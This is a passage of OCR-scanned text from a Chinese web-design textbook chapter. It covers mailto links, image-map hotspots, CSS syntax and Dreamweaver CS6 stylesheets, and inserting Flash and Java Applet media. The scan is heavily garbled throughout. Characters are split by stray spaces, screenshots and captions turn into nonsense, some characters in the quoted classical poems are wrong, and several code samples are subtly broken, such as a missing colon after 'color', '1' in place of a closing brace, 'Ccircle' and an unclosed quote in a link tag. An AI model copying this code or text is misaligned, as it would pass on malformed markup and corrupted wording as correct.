(5) 电子 邮件 链接 的 代码 是 一 个 以 mailto 开始 的 电子 邮件 地 址 。 电 子 邮 件 链接 的 代码 如 下 : 
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<body> 
<a href="mailto:sina@sina.com"> 邮 件 链接 </a> 
</body> 


6.3.4 ”创建 图 像 热点 链接 


把 图 片上 的 一 部 分 区 域 作 为 一 个 链接 ， 当 用 户 单 击 这 个 区 域 时 ， 会 链接 到 一 个 新 网 页 ， 这 就 是 图 
片 的 热点 链接 。 热 点 链接 可 能 是 矩形 的 、 图 形 的 ， 也 可 以 是 不 规则 的 形状 。 一 张 图 片 可 能 根据 需要 添 
加 很 多 个 热点 链接 。 

(1) 新 建 一 个 HTML 网 页 ， 保 存在 文件 夹 “E:\eg\img” 下 面 ， 文 件 名 为 eg609.html。 

(2) 在 网 页 中 插入 图 片 a5.JPG， 然 后 再 次 选择 这 张 图 片 ， 如 图 6-46 所 示 。 


图 6-46 在 网 页 中 插入 的 图 片 


(3) 如 图 6-47 所 示 为 图 像 的 “属性 ”面板 ， 左 下 角 的 可、 地、 加 3 个 工具 分 别 为 “矩形 热点 工 
具 ”“ 圆 形 热点 工具 ”“ 多 边 形 热点 工具 ”。 
届 性 


图 像 ，13K 。 宽 0) 400 源 文件 G) 45.JPG _ | 全 口 着 换 中 

~、 no 高 00 333 梯 接 中 BD 编 | 
目标 8) 了 边框 0 

原始 全局 蚤 由 攻 


图 6-47 ”图像 的 “属性 ”面板 和 图 像 热点 工具 


(4) 在 如 图 6-47 所 示 的 图 片 “属性 ”面板 中 ， 单 击 左下 角 的 “和 拢 形 热点 工具 ”， 在 需要 插入 热 
点 链接 的 图 片上 “百度 ”文字 处 画 出 一 个 矩形 热点 链接 区 域 ， 这 样 就 建立 了 一 个 矩形 图 片 热 点 链接 。 
用 同样 的 方法 建立 另外 两 个 热点 链接 ， 如 图 6-48 所 示 。 

(5) 在 图 片上 插入 热点 链接 以 后 ， 图 片上 的 热点 链接 就 以 较 深 的 颜色 显示 。 单 击 一 个 热点 链接 ， 
如 图 6-49 所 示 是 图 片 热 点 链接 的 “属性 ”面板 设置 。 在 图 片 热 点 链接 的 “属性 ”面板 的 “链接 ”文本 
框 中 输入 “http://www.163.com”， 在 “目标 ”下 拉 列 表 框 中 选择 _blank 选项 。“ 蔡 换 ” 指 的 是 当 鼠 标 
停留 在 这 个 热点 链接 时 ， 将 在 图 片上 出 现 的 提示 文字 。 


EY) 


图 6-48 在 图 像 上 建立 的 图 像 热 点 


属性 

图 些 ht tp://mm. 163. com J9D 
目标 加) _blank 四 | 

地 图 Wp | 

由 Ov 


图 6-49 图 片 热 点 链接 的 “属性 ”面板 


(6) 保存 文件 并 按 F12 键 运行 网 页 。 当 鼠标 光标 移动 到 图 片 中 的 热点 链接 位 置 时 ， 鼠 标 指针 会 变 
成 一 个 链接 。 单 击 这 个 位 置 可 以 打开 所 链接 的 网 页 ， 如 图 6-50 所 示 。 


ew ™) 


nternet Exp 


EEC 本 于 


图 6-50 网 页 中 的 热点 链接 


(7) 对 于 图 片 的 热点 链接 ， 在 HTML 中 是 以 对 图 片 的 坐标 区 域 描述 来 实现 的 。 首 先 需要 在 图 片 
上 声明 这 张 图 片 使 用 了 哪 一 个 热点 链接 ， 然 后 需要 定义 这 个 热点 链接 的 每 一 个 链接 的 区 域 、 形 状 与 坐 


@ 
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<body> 
<img src="a5.JPG" width="400" height="333" border="0" usemap="#Map" /> ” <!- 图 片 中 声明 使 用 了 热点 --> 
<map name="Map" id="Map"> <!- 分 别 定义 图 片 热 点 -> 


<area shape="rect" coords="34,50,74,74" href="http://www.baidu.com" target=" blank" alt=" 百 度 " /> 
<area shape="rect" coords="92,111,138,134" href="http://www.sina.com" target="_blank" /> 

<area shape="Ccircle" coords="179,196,27" href="http://www.163.com" target="_blank" /> 

</map> 

</body> 


6.4 利用 CSS 美化 网 页 


CSS (Cascading Style Sheets) 是 网 页 中 的 样式 表 ， 有 时 也 称 为 “ 层 邯 样式 表 ”， 它 是 一 种 制作 网 
页 的 新 技术 。CSS 技术 可 以 有 效 地 减少 网 页 的 代码 量 ， 统 一 设计 网 页 的 样式 ， 有 利于 提升 网 页 效率 和 
网 页 的 性 能 。 

在 HTML 网 页 中 , 所 有 网 页 元 素 的 特征 都 是 一 句 一 句 地 针对 某 一 具体 元 素来 描述 的 。 用 这 种 方法 ， 
如 果 一 个 网 站 的 网 页 非常 多 ， 就 会 产生 很 多 完全 相同 的 网 页 元 素 属性 描述 代码 。 如 果 这 时 需要 对 网 页 
中 的 某 一 特征 进行 修改 ， 就 需要 更 改 所 有 网 页 中 这 一 特征 的 属性 ， 这 会 是 非常 复杂 和 繁 锁 的 工作 。 

而 CSS 就 是 针对 这 一 问题 的 解决 方法 。CSS 可 以 对 某 一 个 网 页 或 者 是 整个 网 站 统一 地 定义 出 网 页 
元 素 的 特征 ， 网 页 中 的 元 素 需要 使 用 这 一 特征 时 ， 即 可 直接 调用 这 一 网 页 元 素 的 特征 ， 也 就 是 样式 。 
网 页 样式 比 HTML 具有 很 多 先进 性 。 


回 


回 
名 


回 


回 


使 一 个 网 页 或 整个 网 站 的 样式 在 一 个 统一 的 样式 表 的 控制 之 下 ， 有 具有 完整 的 模块 化 开发 的 
概念 。 

网 页 设计 时 ， 直 接 调 用 样式 ， 不 必 再 考虑 某 一 元 素 的 属性 ， 有 利于 提高 开发 效率 。 

更 改 某 一 个 样式 的 属性 ， 就 可 以 完全 更 改 一 个 网 页 或 整个 网 页 的 某 类 元 素 的 属性 ， 有 利于 网 
站 的 管理 。 

网 页 中 少 了 大 量 的 网 页 元 素 属性 的 代码 ， 大 大 地 减少 了 网 页 的 代码 量 ， 有 利于 网 页 性 能 的 
提高 。 

可 以 使 网 页 设计 和 网 页 具体 属性 的 设计 分 开 完 成 ， 有 利于 团队 开发 。 


相对 于 HTML 代码 的 先进 性 ， 在 进行 网 页 设计 时 尽量 使 用 样式 表 设 计 网 页 。 


6.4.1 


CSS 的 基本 语 ; 


同 HTML 代码 一 样 ，CSS 也 有 一 整套 约定 的 代码 ， 这 些 代码 可 以 用 来 描述 网 页 元 素 的 特征 。 进 行 
CSS 设计 时 ， 需 要 灵活 理解 和 掌握 CSS 代码 的 书写 。 网 页 中 CSS 代码 的 书写 规则 如 下 。 


回 
加 
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CSS 代码 书写 在 <style type="text/css"> 与 </style> 之 间 。 

<link hre 全 "css.css" rel="stylesheet" type="text/css">: 可 以 用 这 种 方法 链接 一 个 CSS 文件 ， 将 
CSS 样式 写 在 另 一 个 文件 上 。 

有 些 浏览 器 不 能 正常 支持 CSS 样式 ,可 以 把 CSS 代码 写 在 <!-- --> 网 页 注释 标记 中 , 这 样 CSS 
代码 不 会 显示 在 网 页 上 。 

CSS 样式 的 基本 格式 : 样式 名 称 {属性 名 称 : 属性 值 }。 当 有 多 个 属性 时 ， 需 要 用 分 号 隔 开 。 


_ 国 ) 


Res ma 


例如 ，title {text-align: center;color: black:fontfamily: arial}， 就 是 定义 了 一 个 叫做 title 的 样式 ， 
并 分 别 设置 样式 的 对 齐 方式 、 颜 色 、 字 体 。 
使 用 HTML 中 元 素 的 名 称 作为 样式 的 名 称 ， 就 是 对 网 页 中 的 这 一 类 元 素 进行 样式 设置 。 网 页 
中 的 这 些 元 素 会 自动 调用 这 个 样式 。 例 如，p {text-align: center; color: red}， 这 个 样式 会 对 网 页 
中 所 有 的 <p> 标 签 起 作用 ， 网 页 中 所 有 的 <p> 标 签 在 不 进行 样式 设置 时 会 默认 使 用 这 个 样式 。 
ID 选择 样式 : CSS 可 以 对 网 页 中 的 一 个 定义 了 ID 号 的 元 素 单 独 定义 样式 。 例 如 ， 
#intro ffont-size:1209%6:font-weight:bold:color:#00aaffbackground-color: #ffffee }， 这 个 样式 是 对 
网 页 中 的 ID 号 为 intro 的 元 素 进行 样式 设置 。 当 网 页 中 的 一 个 元 素 为 <p id="intro">aaa</p> 时 ， 
这 个 元 素 会 自动 使 用 这 个 样式 。 
回 ”样式 表 中 可 以 使 用 /#* */ 注 释 符 号 进行 注释 。 例 如，p{text-align:center;/* 文 本 居中 排列 */}， 就 使 
用 了 注释 。 


6.4.2 在 Dreamweaver CS6 中 自动 生成 CSS 样式 标记 


在 很 多 情况 下 ，CSS 样式 表 的 代码 是 Dreamweaver CS6 自动 生成 的 。 在 对 文本 、 表 格 等 内 容 进行 
属性 设置 时 ，Dreamweaver CS6 会 自动 生成 相对 应 的 CSS 样式 。 

在 设置 文本 、 段 落 等 元 素 的 属性 时 ， 并 不 是 HTML 直接 对 这 些 元 素 进行 描述 ， 而 是 自动 生成 这 些 
设置 的 CSS 样式 ， 然 后 让 这 个 元 素 自动 调用 这 个 样式 ， 其 他 的 网 页 元 素 也 可 以 调用 这 个 元 素 ， 这 就 是 
Dreamweaver 自动 生成 的 样式 表 。 自 动 生成 的 样式 表 在 网 页 HTML 代码 的 head 栏 中 ， 这 就 是 网 页 自动 
生成 的 CSS 样式。 下面 是 对 一 段 文 本 进行 属性 设置 生成 的 CSS 样式 。 

(1) 新 建 一 个 HTML 网 页 ， 保 存在 文件 夹 “E:\eg\” 下 ， 文 件 名 为 eg610.html。 
(2) 在 网 页 中 输入 一 些 文本 ， 如 图 6-51 所 示 。 
PR 
BE 文本 的 样式 。 文本 的 样式 
E 文本 的 样式 ”文本 的 样式 ”文本 的 样式 


加 


加 


芽 


图 6-51 网 页 中 输入 文本 


(3) 如 图 6-51 所 示 ， 选 择 第 一 句 文本 。 如 图 6-52 所 示 ， 在 “属性 ”面板 中 设置 文本 的 字体 为 黑 
体 ， 字 号 为 16 号 字 ， 字 体 颜色 为 红色 。 


人 
《> mL 目标 规则 STYLE1L ~ 字体 四 黑体 ~BI|7| 二 全 要 嘲 
[Bcss 编辑 规则 ] | css 面板 9) ] 大 小 6) 16 ~ 区 >] 一 | “0 


6-52 ”设置 文本 的 属性 


(4) 查看 这 一 句 文本 的 代码 ， 这 句 代 码 并 没有 相关 的 属性 标记 ， 而 是 使 用 了 一 个 样式 。 这 一 句 文 
本 的 代码 如 下 : 


<span class="STYLE1"> 文 本 的 样式 </span> 
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(5) 查看 代码 区 的 <head> 标 签 ， 可 以 发 现 Dreamweaver CS6 自动 生成 了 对 文本 进行 描述 的 样式 表 
代码 。 对 文本 设置 的 样式 代码 如 下 : 
<style type="text/css"> 
< 上 -- 
.STYLE1{ 
font-family: "黑体 "; 
font-size: 16px; 
color #FF0000; 
font-style: italic; 
1 


一 > 

</style> 

(6) 如 果 有 另外 一 个 网 页 元 素 需 要 使 用 和 这 个 网 页 元 素 同样 的 属性 ， 就 可 以 使 用 这 个 样式 。 选 择 
这 个 网 页 元 素 ， 再 选择 第 二 行文 本 ， 在 “属性 ”面板 的 “目标 规则 ”下 拉 列 表 中 选择 步骤 (5) 生成 的 
样式 STYLE1， 这 样 就 会 对 第 二 行文 本 使 用 第 一 次 所 设置 的 文本 格式 ， 如 图 6-53 所 示 。 


属性 
《> HmL 目标 规则 “css 规则 > | 字体 四 ) 默认 字体 ~B7ZE 芋 笃 洒 下 


cs mA 

[Bs] = RA > 加 
应 用 类 | CRE. ] 
Ere s 


图 6-53 文本 选择 一 个 样式 
(7) 保存 文件 并 按 F12 和 网 页 中 使 用 样式 对 文本 的 格式 设置 效果 如 图 6-54 所 示 。 


Cer 5 sri 


疼 共 甩 样 式 。 文本 的 样式 。 文本 的 样式 
帮 共 的 料 式 。 交 共 的 样式 。 交 丰 的 料 式 


ET 00% > 


图 6-54 网 页 文本 的 样式 
6.4.3 ”Dreamweaver CS6 的 样式 模板 自动 生成 样式 表 文件 


在 Dreamweaver CS6 中 可 以 利用 自 带 的 模式 文件 模板 生成 样式 表 文 件 ， 可 以 在 自动 生成 的 样式 表 
的 基础 上 进行 修改 ， 设 计 所 需要 的 样式 。 网 页 可 以 直接 链接 这 些 样式 表 文 件 。 

(1) 新 建 一 个 样式 表 文 件 。 选择“ 文件 ”| “新 建 ” 命 令 ， 在 打开 的 “新 建文 档 ” 对 话 框 中 选择 
“示例 中 的 页 ”选项 ， 在 “示例 文件 夹 ” 列 表 中 选择 “CSS 样式 表 ” 选 项 ， 在 “示例 页 ”列表 框 中 选 
择 自己 需要 的 样式 模板 ， 如 图 6-55 所 示 。 


_ 国 
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EE Er EE 
示例 文件 于 
hy 已 号 相 于 Nav | Naviinik | Nav | Nav | 
空 自 页 局 Mobils 起 由 页 
空 模板 sidebarHeader 
subtitle 
[本 二 Pe 
对 : 癌 吕 | 
国 kh 2 sebarrootr 
文本 : 
示 侧 中 的 页 表单: i a 
站 人 
-3 表单: 
[网 其 人 表单: 
说 接 入 果 
颜色: 柠 神 色 /棕色 a 厂 一 一 一 一 梧 
丽 B: 
颜色 : 
而 名: 
丽 @: 
颜色 : 
闭 助 00 | 首选 多 孝 ) 邯 更 名 内 容 取消 C) 


6-55 ”根据 样式 表 模板 自动 创建 CSS 样式 


(2) 单 击 “确定 ”按钮 ， 完 成 样式 表 文 件 的 创建 。Dreamweaver CS6 会 自动 生成 一 个 样式 表 文 件 ， 
样式 表 文 件 对 网 页 的 各 种 格式 进行 描述 。 样 式 表 文件 的 代码 如 下 : 


body{ 
background-color: #FFFFCC; 
font-family: Verdana, Arial, Helvetica, sans-serif 
font-size: 12px; 
line-height: 24px; 
color: #336699; 
1 
td, th{ 
font-family: Verdana, Arial, Helvetica, sans-serif: 
font-size: 12px; 
line-height: 24px; 
Color: #333333; 
} 
af 
font-size: 12px; 
color #336600; 
已 
-box1{ 


border-width: thin; 
border-color: #99FF99 #003300 #003300 #99FF99; 
border-style: double; 


省 略 一 部 分 代码 
input.small{ 

width: 50px; 
册 


人 的 
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(3) 生成 CSS 样式 以 后 ， 如 果 样 式 不 符合 自己 的 要 求 ， 可 以 对 样式 的 代码 进行 更 改 。 例 如 ， 前 
面 新 建 的 CSS 文件 的 body 描述 部 分 可 以 修改 成 下 面 的 样式 。 


body{ 
background-color 证 FFFCC:; 
font-family: "黑体 "; 
font-size: 14px; 
line-height 24px; 
color #FF0000; 
font-style: normal; 
le 化 Opx:; 
top: Opx; 
right: 0px: 
bottom: Opx:; 

} 


(4) 选择 “文件 ”| “保存 ”命令 ， 保 存 这 个 文件 ， 将 文件 保存 到 “E:\web\” 文 件 夹 下 ， 文 件 名 


为 CSS.CSS。 


6.4.4 ”Dreamweaver CS6 的 样式 设计 器 链接 和 编辑 样式 


Dreamweaver CS6 内 置 有 功能 强大 的 样式 设计 工具 ， 利 用 样式 设计 器 ， 可 以 在 不 编写 CSS 代码 的 
情况 下 生成 和 编辑 各 种 样式 表 文 件 。 

(1) 新 建 一 个 HIML 网 页 ， 保 存在 文件 夹 “E:\eg\” 下 ， 文 件 名 为 eg612.html。 

(2) 链接 样式 表 。 右 击 文档 空白 处 ， 在 弹出 的 快捷 菜单 中 选择 “CSS 样式 ”| “附加 样式 表 ” 命 
令 ， 添 加 一 个 样式 。 单 击 “ 浏 览 ” 按 钮 ， 浏 览 6.4.3 节 新 建 的 样式 表 文 件 ， 如 图 6-56 所 示 。 单 击 “ 确 
定 ”按钮 ， 完 成 设置 。 


文件 /WRL@): css cess - 
添加 为 ; 加 榜 接 ) 
导入 加 
媒体 0) = 
您 也 可 以 输入 到 号 分 隔 的 者 体 类 型 列表 。 


TDreanweaver 的 范例 样式 才 可 以 帮助 您 起 步 。 


图 6-56 “链接 外 部 样式 表 ” 对 话 框 


(3) 查看 链接 样式 表 的 代码 。 在 网 页 的 <head> 标 签 中 ， 链 接 样 式 表 以 后 ， 会 自动 生成 一 段 样式 表 
链接 代码 。 

<link href="csseg.css" rel="stylesheet type="text/css" /> 

(4) 编辑 样式 。 在 Dreamweaver CS6 中 打开 CSS 标签 ， 在 CSS 标签 中 单 击 “CSS 样式 ”标签 。 
右 击 样式 表 设 计 器 中 的 一 个 样式 ， 在 弹出 的 快捷 菜单 中 选择 “编辑 ”命令 ， 可 以 对 这 一 样式 进行 编辑 ， 
如 图 6-57 所 示 。 

(5) 如 图 6-58 所 示 ， 就 是 在 样式 表 设 计 器 的 对 话 框 中 对 样式 进行 各 项 设置 。 可 以 设置 body 样式 
的 文字 大 小 为 14px， 字 体 为 黑体 。 单 击 “ 确 定 ”按钮 ， 完 成 设置 。 

@ 
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Line-height 0): 24 = 区 Tet-transforn() 

| Text-decorstion@): jenderline on Color C) : | ao000s 


i Se 四 五 了 日 日 
图 6-57 选择 一 个 样式 6-58 样式 表 编 辑 对 话 框 中 设置 样式 的 属性 


(6) 在 如 图 6-57 中 的 样式 管理 器 中 ， 右 击 一 个 样式 ， 可 以 新 建 、 删 除 一 个 样式 。 

(7) 使 用 样式 。 完 成 样式 的 设置 以 后 ， 在 网 页 设计 时 ， 选 择 某 一 个 网 页 元 素 ， 在 “属性 ”面板 中 
的 “样式 ”下 拉 列 表 中 选择 样式 。 

(8) 选择 “文件 ”| “保存 ”命令 ， 保 存 文件 。 


6.4.5 应 用 CSS 设置 文本 格式 


对 文本 格式 的 设置 是 CSS 样式 表 的 最 常用 功能 ， 网 页 中 的 文本 格式 常常 是 用 CSS 样式 进行 控制 ， 
也 可 以 使 用 CSS 样式 来 设置 网 页 中 的 图 片 、 表 格 、 表 单 等 网 页 元 素 的 样式 。 

(1) 选择 “文件 ”| “打开 ”命令 ， 打 开 6.4.4 节 中 的 文件 E:\eg\eg612.html。 这 个 文件 已 经 链接 
了 样式 表 文 件 css.css。 

(2) 在 网 页 中 输入 文本 。 人 和 的 2 和 人 如 图 6-59 所 示 。 


6-59 在 网 页 中 输入 文本 


(3) 选取 文本 的 标题 ， 然 后 在 “属性 ”面板 中 设置 文本 的 样式 。 如 图 6-60 所 示 ， 在“ 类” 下拉 
列表 中 选择 title 样式 ， 文 本 就 会 用 title 样式 中 的 格式 设置 。 

(4) 在 设计 视图 中 ,选择 作者 “李白 ”一 行 的 文本 。 可 以 从 样式 设计 器 中 选择 文本 所 需要 的 样式 。 
选择 需要 设置 样式 的 文本 以 后 , 右 击 样式 管理 器 中 所 需要 的 subtitle 样式 , 在 弹出 的 快捷 菜单 中 选择 “ 套 
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用 ”命令 ， 即 可 对 这 一 文本 使 用 选 定 的 样式 。 
攻 tn 无 7] 类 IEEIGEEE ~ 


本 css 五 加 无 ~ ”链接 吕 ) 


图 6-60 在 “属性 ”面板 中 设置 文本 的 样式 


(5) 用 步骤 (4) 的 方法 ， 对 文本 中 的 八 句 诗 使 用 nav 样式 ， 网 页 的 设计 视图 如 图 6-61 所 示 。 
(6) 保存 文件 并 按 F12 下 在 网 页 中 使 用 样式 对 文本 的 格式 设 征 效果 如 图 6-62 所 示 。 


ee 


兴 尽 愁 人 心 。 
FE TF 


图 6-61 文本 使 用 样式 效果 图 6-62 网 页 文本 使 用 样式 


(7) 在 代码 视图 中 查看 网 页 的 源 代码 ， 这 个 网 页 的 文本 格式 使 用 的 是 样式 的 方法 标记 。 网 页 的 代 
码 如 下 : 


<html xmlns="http:/www.w3.org/1999/xhtml"> 
<head> 
<meta http-equiv="Content-Type" content= "text/html; charset=utf-8" /> 
<title> 样 式 </title> 
<link href="css.css" rel="stylesheet" type="text/css" /> <I- 链 接 样 式 --> 
</head> 
<body> 
<div align="center" class="dingbat"> <!--<div> 标 签 实现 居中 一 > 
<span class="title"> 望 月 有 怀 </span><br /> 
<span class="subtitle"> 李 白 ”</span><br/> <!- 对 文本 使 用 样式 -> 
<span class="nav"> 清 泉 映 疏松 ，<br /> <!-- 对 文本 使 用 样式 --> 
不 知 几 千古 。<br /> 
寒 月 摇 清 波 ，<br /> 
流光 入 窗户 。<br /> 
对 此 空 长 吟 ，<br /> 
思 君 意 何 深 。<br /> 
无 因 见 安道 ，<br /> 
兴 尽 愁 人 心 。 </span><br/> 
</div> 
</body> 
</html> 
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6.4.6 实例 : CSS 样式 表 的 使 用 


样式 表 的 使 用 ， 可 以 方便 地 进行 网 页 元 素 格式 的 设置 。 当 一 个 网 站 中 的 所 有 网 页 使 用 同一 个 样式 
表 时 ， 只 需要 对 样式 表 文 件 进行 编辑 即 可 完成 对 网 站 中 所 有 网 页 样式 的 编辑 。 

(1) 新 建 一 个 HTML 网 页 ， 保 存在 文件 夹 “E:\eg\” 下 ， 文 件 名 为 eg613.html。 

(2) 在 网 页 中 输入 文本 。 在 网 页 中 插入 表格 ， 再 在 表格 中 输入 文本 ， 如 图 6-63 所 示 。 

(3) 如 6.4.3 节 的 步骤 ， 利 用 模板 新 建 一 个 CSS 样式 表 文件 ， 文 件 名 为 cssl.css。 

(4) 链接 样式 表 。 右 击 文档 空白 处 ， 在 弹出 的 快捷 菜单 中 选择 “CSS 样式 ”| “附加 样式 表 ” 命 
令 ， 添 加 一 个 样式 。 单 击 “ 浏 览 ” 按 钮 ， 浏 览 选 择 样式 表 文 件 cssl.css， 如 图 6-64 所 示 。 单 击 “ 确 定 ” 
按钮 ， 完 成 链接 。 


古诗 两 首 

嵌 晤 黄 锥 楼 

引 黄 锥 一 去 不 复 返 ， 白 云 千 载 空 您 修 。 
| Ee dis 芳 草 蓝 获 跑 灼 洲 - 
日 幕 乡 关 何 处 时 ， 烟 波江 上 使 人 稍 。 
目 送 孟 浩然 之 广度 


故人 西 冬 昔 锥 楼 .烟花 三 月 下 扬州 ， 
下 机 远 影 必 空 尽 ， 唯 见长 江天 际 闹 


文件 /ULD): cssl. ess 
昌 静夜 思 国道 准 三 吏 三 别 | 添加 为: 加 Es 
上 证 竺 专题 絮 体 0) 
[; Be Ee 您 也 可 以 输入 到 号 分 陆 的 包 体 类 型 列表 。 
3 rower 的 范例 样式 去 可 以 帮助 和 起步。 
图 6-63 在 网 页 中 输入 文本 图 6-64 “链接 外 部 样式 表 ” 对 话 框 


(5) 单 击 样式 表 管理 器 中 的 样式 ， 在 样式 的 “属性 ”面板 中 对 样式 进行 设置 。 下 面 是 完成 各 项 属 
性 设置 以 后 的 样式 表 文 件 代 码 。 


af 
Color: #333333; 
text-decoration: none 让 超级 链接 的 样式 */ 


} 
body{ /BODY 标签 的 样式 */ 
background-color: #DCDCDC:; 
font-family: "宋体 "; 
font-size: 14px:; 
line-height 16px; 
color: #000099; 
margin: 3px; 
} 
h2{ A 定义 各 种 标题 的 样式 */ 
color #CCCCCC 
b 
h3{ 
font-family: "新 宋体 "; 
font-size: 20px; 


@ 


background-color #006666; 
color: #666666 
h 
h4{ 
color: #000000 
| 
table{ 
color: #FFFFFF 


} 

td, th{ 
font-family: "华文 彩云 "; 
font-size: 12px; 
line-height: normal; 
color: #333333 
} 

textarea { 
font-family: "宋体 "; 
font-size: 13px 
} 

ulf{ 
font-family: "新 宋体 "; 
font-size: 17px; 
list-style-type: square; 
list-style-position: outside 
} 

.small { 
font-size: 85%; 


有 
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/定义 表格 中 文字 的 样式 


(6) 定义 好 这 些 样式 以 后 ， 网 页 中 的 文本 图 片 等 内 容 就 不 必 再 单独 设置 各 自 的 样式 ， 这 些 元 素 会 
根据 已 经 设置 好 的 元 素 样 式 自动 地 加 载 。 例 如 ， 表 格 和 表格 的 单元 格 会 自动 加 载 table 和 td 样式 。 如 


图 6-65 所 示 是 对 网 页 中 的 文本 使 用 样式 。 


(7) 对 文本 的 其 他 行使 用 样式 。 选 择 网 页 中 的 其 他 行 ， 在 “属性 ”面板 中 选择 需要 的 样式 ， 对 文 


件 中 的 所 有 文本 进行 样式 设置 。 设 置 样式 以 后 的 网 页 如 图 6-66 所 示 。 
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黄 锥 一 去 不 复 返 ， 白 云 干 载 空 悠悠 。 
3 晴 川 历历 汉阳 树 ， 芳 草 鞭 姜 鹦 直 洲 . 
3 日暮 乡 关 何 处 时 ， 烟 波江 上 使 人 悉 。 
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绑 人 西 基 黄 贸 楼， 烟花 三 月 下 扬州.。 
天 机 远 影 要 衬 尽 ， 唯 多 长 江天 际 流 . 
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(8) 保存 文件 并 按 F12 键 运行 网 页 ， 网 页 中 使 用 样式 对 网 页 进行 设置 的 效果 如 图 6-67 所 示 。 


EB cssA 人 HN - Windows Intemet Explor.. 


阳 得， 芳香 革 菇 吉 直 汀 |- 
日 共 多 关 向， 入 波江 上 使 人 私 
送 孟 浩然 之 广陵 


， 烟 花 三 月 下 扬州 。 
景 汽 空 尽 ， 唯 风 长 江天 际 流 . 


图 6-67 使 用 样式 网 页 


(9) 查看 网 页 效果 。 下 面 是 这 个 网 页 的 代码 。 在 代码 中 ， 各 行文 本 使 用 了 cssl.css 文件 中 的 样式 
对 文件 的 格式 进行 设置 。 


<html xmIns="http://www.w3.org/1999/xhtml"> 
<head> 
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<title>CSS 示例 </title> 
<link href="css1.css" rel="stylesheet" type="text/css" /> <!-- 链 接 样 式 表 一 > 
</head> 
<body> 
<h3> 古 诗 两 首 </h3> <!- 标 题 样式 -> 
<h4> 崔 旺 黄 鹤 楼 </h4> < 上 -标题 样式 -> 
昔 人 已 乘 黄 准 去 ， 此 地 空余 黄 鹤 楼 。 <br /> 
黄 玲 一 去 不 复 返 ， 白 云 千 载 空 您 您 。 <br /> 
睛 川 历历 汉阳 树 ， 芳 草 羞 董 鹦鹉 洲 。 <br /> 
日 暮 乡 关 何 处 时 ， 烟 波江 上 使 人 愁 。 
</p> 
<h4> 送 孟浩然 之 广陵 </h4> 
<p> ”故人 西 辞 黄 准 楼 ， 烟 花 三 月 下 扬州 。 <br/> 
孤 帆 远 影 匠 空 尽 ， 唯 见长 江天 际 流 - 
</p> 
<ul class="small"> < 上 -使 用 样式 -> 
静夜 思 蜀 道 难 三 吏 三 别 


</ul> 
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<table width="200" border="1"> <!- 表 格 会 自动 加 载 table 样式 -> 
<tr> 
<td colspan="2"> 古 诗 专题 </td> 


ld> 李 白 </td> ”<td> 杜 甫 </td> 


全 全 全 


<td> 孟 浩然 </td> ”<td><a href="./bai.htm"> 白 居 易 </a></td> 
</tr> 
</table> 
</body> 
</html> 


6.5 插入 媒体 


网 页 中 的 多 媒体 内 容 可 以 丰富 网 站 的 视觉 效果 。 合 理 地 使 用 多 媒体 内 容 ， 可 以 使 网 页 更 加 丰富 多 
彩 ， 更 具有 艺术 氛围 。 网 页 中 可 以 插入 Flash 动画 、 音 乐 、 视 频 等 多 种 媒体 。 


6.5.1 插入 Flash 动画 


Flash 动画 是 网 页 中 最 常用 的 多 媒体 技术 。Flash 动画 有 很 好 的 动态 网 页 效果 ， 使 网 页 具有 可 动 的 
图 像 、 声 音 ， 可 交互 程序 等 功能 。 有 些 经 过 编程 的 Flash 动画 ， 可 以 实现 网 页 的 数据 交互 、 游 戏 、 视 频 
播放 等 复杂 的 功能 。 

(1) 新 建 一 个 HIML 网 页 ， 保 存在 文件 夹 “E:\eg\” 下 ， 文 件 名 为 eg614.html。 

(2) 打开 本 书 光盘 。 将 光盘 下 的 动画 文件 “\ 源 文件 \06\flash\flash.swf” 复 制 到 计算 机 中 的 文件 夹 
“E:eg” 中 。 

(3) 选择 “插入 ”| “媒体 ”| “SWF” 命 令 ， 在 打开 的 “选择 Flash 文件 ”对 话 框 中 选择 所 复 
制 的 Flash 文件 flash.swf。 单 击 “ 确 定 ” 按 钮 ， 完 成 Flash 的 插入 。 在 设计 视图 中 , 插入 的 Flash 如 图 6-68 
所 示 。 


6-68 ”网 页 中 插入 的 Flash 


Naas mw a 


(4) 在 设计 视图 中 ,选择 所 插入 的 Flash 动画 ,然后 在 “属性 ”面板 中 设置 Flash 的 属性 ， 如 图 6-69 


所 示 ， 可 以 选中 “循环 ”和 “自动 播放 ” 复 选 框 。 
bel 
合 局 背景 颜色 (6) [| 


| S02 宽 n B00 文件 看 [ssh sf 

高 0 250 回 编辑 EE 
回 筷 ft 看 直 边 中 0) 品质 四 ) 高 品质 > 对齐 内 [ 蔷 认 值 ~] ”播放 
加 自动 播放 0D 水 平 边 距 中 ) 比例 6) 束 认 年 部 时 示 ) -fode 虽 [| =|[ 多 数 … 


图 6-69 ”Flash 动画 的 属性 设置 
(5) 查看 插入 Flash 的 代码 。 插 入 Flash 并 进行 相关 属性 设置 以 后 ， 网 页 中 会 在 相应 位 置 生成 如 


下 Flash 代码 。 
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" 
codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,28,0" 
width="300" height="250"> 

<param name="movie" value="flash.swf /> 

<param name="quality" value="high" /> 

<embed src="flash.swf" quality="high" 
pluginspage="http://www.adobe.com/shockwave/download/download.cgi?P1_Prod_Version=ShockwaveFlash" 
type="application/x-shockwave-flash" width="300" height="250"></embed> 
</object> 

(6) 保存 文件 并 按 F12 键 运行 网 页 ， 网 页 中 插入 Flash 动画 的 效果 如 图 6-70 所 示 。 


EE Flash - windows Internet Explorer 一 一 
忆 ] ENworlAwrite-mdf = [s+ | x 3S ng 


上 安 wm 。 御 Flash 


| 


FLASH 动 画 


画 计算 机 | 保护 模式 : 禁用 入 ”> 质 100% ~ 


图 6-70 ”网 页 中 插入 的 Flash 动画 


6.5.2 插入 Java Applet 


Java 是 用 于 制作 基于 互联 网 的 可 执行 应 用 程序 的 语言 ， 常 常用 于 动画 、 网 络 游戏 和 聊天 室 等 领域 。 
而 Java Applet 是 就 Java 的 源 代码 文件 .class) 保存 到 服务 器 后 ， 通 过 连接 HTML 和 Java 源 代码 文件 


运行 的 。 在 网 页 中 插入 Java Applet 程序 的 具体 操作 步骤 如 下 。 
(1) 打开 网 页 文档 ， 将 插入 点 放置 在 要 插入 Java Applet 的 位 置 ， 如 图 6-71 所 示 。 


CN 
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(2) 选择 “插入 ”|“ 媒 体 ”| Applet 命令 ， 弹 出 “选择 文件 ”对 话 框 。 
